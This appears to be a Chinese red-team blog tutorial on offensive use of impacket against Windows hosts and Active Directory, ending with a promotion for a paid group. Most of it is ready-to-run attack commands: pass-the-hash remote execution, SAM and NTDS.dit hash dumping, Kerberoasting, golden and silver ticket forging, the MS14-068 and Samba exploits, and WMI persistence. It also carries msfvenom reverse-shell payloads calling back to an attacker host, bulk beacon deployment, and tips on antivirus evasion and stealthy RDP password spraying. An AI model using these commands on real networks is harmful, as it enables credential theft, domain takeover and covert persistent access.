
0x01 关于impacket
本身是一个协议攻击套件,内部支持了非常多的协议利用,而我们今天的目的也并不是想去深入说明每种协议利用的内部运作原理或是要对其进行深度二次开发,个人能力有限,暂时只能针对impacket已实现的部分工具使用进行简单说明,关于impacket自身的更多更详细的权威的介绍请直接移步至官方仓库
https://github.com/SecureAuthCorp/impacket 官方仓库https://github.com/maaaaz/impacket-examples-windows 有人已将各个脚本打包成相应的exe,此处绝大部分也都将全部用这些exe单文件来进行操作
0x02 Windows远程执行 [ 横向渗透 ]
首先,需要弄明白的是,想要成功横向利用的基础前提 [ 因为此次主要还是说impacket,所以会更侧重于工具使用,而非详细介绍说明各种横向手段,关于横向的内容之前也发过不少相关文章,有兴趣可以直接去看那个 ]
确保用于横向的目标机器端口已事先开启,且防火墙已事先允许该端口, 常见横向端口,无非445,135,139,5985,5986,3389...另外,部分高级入侵检测防护可能会捕捉拦截此类的常规横向渗透手段一个正确的目标系统管理员账号密码或者密码hash [ 包括aes key ] [最好是系统内建的administrator密码,因为在2008之后的系统,默认是不允许rid非500的用户远程连接的,而在2008之前的系统,只需要你是本地管理组内的成员就可以 ]impacket工具本身要事先自行处理好免杀 [ 文章会全程用别人已经事先打包好的exe来进行演示,因为我们实战中绝大多数类似的操作还是会在win下,所以打包好的单exe文件会相对更方便些,当然,linux下也会偶尔用到 ]
如下,目标系统为2008r2,当我们用一个rid非500的目标系统管理员用户去尝试远程连接时发现权限被拒,接着我们再用rid为500的目标内建administrator管理员用户去尝试远程连接,此时发现正常连接,此处主要还是为了向弟兄们说明刚刚上面的那个问题,当然啦,如果目标系统是2003以下的版本,不用非要rid为500,只要是目标系统管理组中的成员,都可以直接用来远程连接
# net use \\192.168.3.51\c$ /user:"webadmin" "admin!@#45" 此处的webadmin用户其实是一个rid非500的目标系统管理员用户# net use \\192.168.3.51\c$ /user:"administrator" "admin!@#45"

借助 windows系统计划任务 通过hash传递的方式来远程执行 [ 特别注意 , atexec 脚本默认只支持2008之后的版本,有兴趣后期亦可自行改造下对2003的支持,除此之外,注意默认回来的权限为system ]
# atexec.exe ./administrator:admin!@#45@192.168.3.51 "whoami /user"# atexec.exe ./webadmin:admin!@#45@192.168.3.51 "whoami /user"# atexec.exe -hashes :518B98AD4178A53695DC997AA02D455C ./administrator@192.168.3.51 "whoami /user" 默认走的smb [445端口]


借助DCOM通过hash传递的方式来远程执行 [ 众所周知,我们在实战中使用DCOM进行横向时,唯一需要注意的就是目标防火墙拦截问题,因为目标防火墙只要一开,这种横向方式基本也就废了,如下图所示 ]
# dcomexec.exe ./webadmin:admin!@#45@192.168.3.11 "whoami /user"# dcomexec.exe ./administrator:Admin12345@192.168.3.11 "whoami /user"# dcomexec.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator@192.168.3.11 "whoami /user" 平时可能会主要用在高版本系统中多一点,比如,2012R2之后的系统


借助常规 SMB 通过 hash传递来远程执行 [ 同样,默认回来的也直接是system权限, 需要目标系统已事先开启且允许445端口通过 ]
# smbexec.exe ./webadmin:admin!@#45@192.168.3.11# smbexec.exe ./administrator:Admin12345@192.168.3.11# smbexec.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator@192.168.3.11

除上面的smbexec脚本,impacket也提供了传统而古老的 psexec,如下就是直接利用psexec通过hash传递的方式弹回一个system权限shell,这种通过在目标系统中以创建服务的形式来进行变相执行,实战中很容易被各种杀软拦截,创建服务本身就相对比较敏感动作
# psexec.exe -hashes :518B98AD4178A53695DC997AA02D455C ./administrator@192.168.3.51 如下,在shell中exit之后,目标系统中相对应的服务会自动删除

上面是选择直接弹shell,其实你也可以用这种方式来批量远程上马,如下,shell.exe 会自动上传至目标系统并以服务的形式执行,执行之后可能会暂时卡住,不过不用管,等你操作完把beacon exit掉之后,服务就会自动删除,过程中切记不要直接去ctrl+ c,不然那个服务可能会一直留在对方的系统里,当然啦,还有个非常重要的前提就是你的shell.exe 必须已事先免杀好
# psexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 0day/administrator@192.168.3.142 -c D:\impacket\shell.exe


同样,默认回来的beacon也是system权限

借助WMI接口通过hash传递来远程执行 [ 需要目标系统事先已开启且允许135端口通过,其实,基于wmi接口的横向渗透工具早已多如牛毛,另外,某些杀软可能会监控此API ]
# wmiexec.exe ./tecadmin:!@#123QWE@192.168.3.51# wmiexec.exe ./administrator:admin!@#45@192.168.3.51 "whoami /user"# wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 0day/jack@192.168.3.142 "whoami /user"# wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 0day/administrator@192.168.3.142 "whoami /user"

借助windows远程服务管理 通过hash传递来远程执行 [ 暂且可以把services.exe简单的理解为SC的强化升级版,假设某些场景下系统禁用了的自带的SC,不妨考虑用这个来替代 ]
比如,可以通过这种方式来实现在目标内网批量上马,不过要特别注意下,此处的这个payload, 务必要选择 "windows service EXE " 类型的payload
# services.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 create-name shell -display shellexec -path C:\Windows\System32\shell.exe# services.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 start-name shell# services.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 status-name shell# services.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 delete-name shell

默认回来的也是system权限

借助RDP来检查目标系统是否存在某个指定用户 [其实可以通过这种方式在目标内网尝试批量单口令RDP爆破,因为是单口令,此外加上适当延迟,随机ip,几乎不会触发报警,且基本不会造成目标账号被锁的情况 ]
# python rdp_check.py ./vpnlogin@192.168.3.11 -hashes :518B98AD4178A53695DC997AA02D455C# python rdp_check.py ./vpnlogin@192.168.3.11 -hashes :CCEF208C6485269C20DB2CAD21734FE7

0x03 针对 Windows 单机 和 域内 用户密码hash 的离线解析
第一种,离线获取目标系统的所有本地用户密码 hash,先转存目标系统的相关sam文件,并想办法将其全部拖回到本地
# cd c:\Windows\Temp# reg save HKLM\SYSTEM sys.hiv# reg save HKLM\SAM sam.hiv# reg save hklm\security security.hiv

其实,实战中如果实在不好往回拖文件,也可以直接把 secretsdump.exe [ 大小在4-5M的样子,主要因为都是用python打包的,体积确实大了点 ] 丢到目标系统里去搞,有些hiv文件本身确实稍微有些大,某些环境下拖回来有困难
# secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL

第二种,离线获取目标域的所有域用户密码hash [ntds.dit ] 及其对应的AES key,导域内hash的过程此处不再细说,此前已有相关文章详细说明,先登录目标主控,此处就直接用系统内置的vssadmin快速导一下
# vssadmin list shadows# vssadmin create shadow /for=c:# copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit# vssadmin delete shadows /for=c: /quiet# vssadmin list shadows# reg save hklm\system c:\system.hive

然后将上述导出的ntds.dit和system.hive再想办法拖回本地继续用secretsdump.exe进行解析即可,同样,你也可以把secretsdump.exe直接丢到目标系统里去解
# secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

0x04 域渗透基础利用 [ 以下部分情况,可能需要在目标域内的机器上搞会方便很多 ]
通过hash传递的方式 [域用户],获取远程目标系统的所有用户及组信息
# lookupsid.exe 0day/administrator@192.168.3.142 -hashes :518B98AD4178A53695DC997AA02D455C


通过hash传递的方式[本地用户],获取远程目标系统的所有用户及组信息
# lookupsid.exe ./administrator@192.168.3.51 -hashes :518B98AD4178A53695DC997AA02D455C

借助hash传递 获取目标系统的所有用户列表,包括其对应的uid
# samrdump.exe workgroup/administrator@192.168.3.142 -hashes :518B98AD4178A53695DC997AA02D455C

借助hash传递自动获取目标域内所有服务账户密码hash [ 主要是指在域内以域用户身份起的相关服务,之前在"如何离线爆破服务票证" 章节中已有详细说明,此处不再赘述 ]
# GetUserSPNs.exe -hashes :a76f1448cacdc40ec79a93c584137ffd 0day.org/mary –request# GetUserSPNs.exe -hashes :a76f1448cacdc40ec79a93c584137ffd 0day.org/mary -request-user sqlsvr

黄金票据 跨平台利用 [ 利用大致条件如下 ]
krbtgt用户的 ntlm hash [ 可从前面已经导出的域内hash中获取 ]目标域的sid目标域名任意用户名 [ 通常都直接用administrator ]
# ticketer.exe -nthash 36f9d9e6d98ecf8307baf4f46ef842a2 -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -user-id 500 -domain 0day.org administrator# export KRB5CCNAME=/root/impacket/examples/administrator.ccache# python wmiexec.py administrator@OWA2010SP3 -k -no-pass# cat /etc/hosts

白银票据 跨平台利用 [ 利用条件如下,实际测试中,工具暂时还有些问题,不过关于银票的利用,完全有更好的替代品 ]
目标机器服务账户的ntlm hash目标域名要访问的目标服务,比如,HOST,CIFS...目标域sid目标机器名任意用户
# mimikatz.exe "kerberos::golden /user:klion /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:PC-jack-0day.0day.org /rc4:518b98ad4178a53695dc997aa02d455c /service:cifs" "exit"# kekeo.exe "misc::convert ccaches C:\ticket.kirbi" "exit"# export KRB5CCNAME=/root/impacket/examples/klion@0day.org_cifs~Srv-DB-0day.0day.org@0day.org.ccache# python psexec.py klion@Srv-DB-0day.0day.org -k -no-pass# cat /etc/hosts
域内跨平台票据传递 [ PTT ],实战中,可以直接把它挂到SSH隧道的socks下去操作
# getTGT.exe -hashes :518b98ad4178a53695dc997aa02d455c 0day.org/administrator# export KRB5CCNAME=/root/impacket/examples/administrator.ccache# python smbexec.py administrator@Srv-DB-0day.0day.org -k -no-pass# cat /etc/hosts

0x05 借助hash传递实现的 远程注册表查询
# reg.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

0x06 借助hash传递实现 跨平台文件互访
# python smbclient.py 0day/administrator@192.168.3.142 -hashes :518B98AD4178A53695DC997AA02D455C

0x07 针对各种已知经典漏洞利用 [ 工具在实际测试中暂时还都有些问题,当然,实战中,也都完全有有更好的替代品 ]
CVE-2017-7494 [ samba漏洞,通常用于内网搜集密码打linux,不过默认回来的shell权限并不高 ]
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.3.137 LPORT=80 -f elf-so -o shell.so# sambaPipe.exe ./webadmin:admin@192.168.3.55 -so shell.so msf自带的exp模块可利用成功,但此工具却未能正常利用,有能力的弟兄后续可自行想办法改造脚本

经典的MS14-068 [ 家喻户晓,已经非常经典了,快速获取域控权限,此处不再赘述 ]
# goldenPac.exe 0day.org/jack:admin!@#45@192.168.3.62 同上,目标确实存在漏洞,但该工具却无法识别

0x08 中继攻击
实战中几乎不直接会这么干,因为文章的主要目的还是更偏实战,所以此处可暂且忽略,可能的话,后续找机会单独拿出来说
smbrelayx.pyntlmrelayx.py
0x09 基础持久化
借助hash传递远程创建 wmi后门,工具实际测试中还有问题,同样,实战中,我们几乎也不会这么干,关于win单机持久化控制,之前已有非常多相关的文章,此处不再赘述
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.137 LPORT=80 -f vbs -oshell.vbs# wmipersist.exe -hashes :518B98AD4178A53695DC997AA02D455C 0day/administrator@192.168.3.142 install -namehello -vbs shell.vbs -timer 120# wmipersist.exe -hashes :518B98AD4178A53695DC997AA02D455C 0day/administrator@192.168.3.142remove -name hello

0x10 其它杂项辅助
恶意 smbserver [ 工具在windows下跑暂时还有些问题 ]
# python smbserver.py demo /opt/# copy samrdump.exe \\192.168.3.137\demo# ls /opt/


本机嗅探 [ 同上,工具在windows下跑暂时还有些问题 ]
# python sniff.py

小结:
可以看到以上的绝大部分操作都是通过hash传递 [ ntlm认证的大BUG ] 的方式进行的,这在实战中其实是非常实用的,尤其当你拿到目标管理员的ntlm hash死活跑不出来的时候,利用这些工具,可以快速的帮你完成某些特定操作,但由于工具实在已被滥用的太多,现如今各种杀毒软件也是杀的不行,所以,如果真的有必要,最好在使用之前先自行进行免杀处理,另外,由于跨平台,实战中非常灵活,其实,这些都只是事例程序,说白点就是个demo,impacket真正的精髓还在于充分搞透各种协议的详细原作细节之后基于此的一系列深度二次开发,作为简单科普,暂时就先说到这里了,弟兄们有任何问题,欢迎及时反馈
另,祝所有弟兄,节日安康 ! 
更多更优质的精品原创实用干货技术分享,和众多资深红队玩家一起深度无缝交流,欢迎微信扫码加入小密圈,另外,关于本文完整pdf原件现也已共享到自己密圈中,等你 !
密圈专注于 红队实战攻防研究,现已大幅优惠,机会不多,有需要的弟兄,请抓紧尽快,活动会一直持续到明早之前

更多优质公开技术分享,欢迎关注个人微信公众号 "红队攻防揭秘",另,也欢迎弟兄们的无私 转发 , 打赏 , 点赞 与 留言 , 感激不尽





